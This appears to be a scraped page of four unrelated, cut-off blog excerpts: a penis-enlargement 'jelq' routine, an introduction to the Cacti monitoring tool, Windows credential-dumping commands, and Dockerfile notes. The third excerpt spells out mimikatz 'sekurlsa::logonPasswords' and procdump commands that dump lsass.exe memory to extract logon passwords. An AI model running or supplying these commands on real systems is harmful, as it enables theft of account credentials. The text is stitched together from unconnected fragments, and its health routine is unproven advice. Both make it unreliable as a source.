初级 The Newbie Routine 5 minutes hot wrap 5 minutes manual stretch (ten 30-second stretches) 10 minutes of jelq (two hundred 3-second strokes) 5 minutes hot wrap 50 kegels of five second holds each Schedule:2 days ON / 1 day REST. Gradually increase t…

介绍 Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具.Cacti是通过 snmpget来获取数据,使用 RRDtool绘画图形.它提供了非常强大的数据和用户管理功能,可以指定每一个用户能查看树状结构.host以及任何一张图,还可以与LDAP结合进行用户验证,同时也能自己增加模板,功能非常强大完善.界面友好.软件 Cacti 的发展是基于让 RRDTool 使用者更方便使用该软件,除了基本的 Snmp 流量跟系统资讯监控外,Cacti 也可外挂 Sc…

1.mimikatz mimikatz.exe "sekurlsa::debug" "sekurlsa::logonPasswords full" >>1.txt exit 2.procdump 1.在目标机器上执行 procdump.exe -accepteula -ma lsass.exe lsass.dmp 2.把lsass.dmp下载到本地,放在同样的系统(目标是windows2008-->本地也用Windows2008) 3.mimika…

Dockerfile主要是用来定制镜像   Dockerfile指令集 FROM ###指定基础镜像第一条指令.scratch是虚拟的镜像,表示一个空白的镜像. FROM centos:7.5 MAINTAINER ###维护人的信息(不推荐使用) MAINTAINER jockming.com ###推荐使用LABEL来指定镜像作者 LABEL maintainer="jockming.com" ARG ###在构建镜像时,指定一些参数 FROM centos:7.5 ###ARG…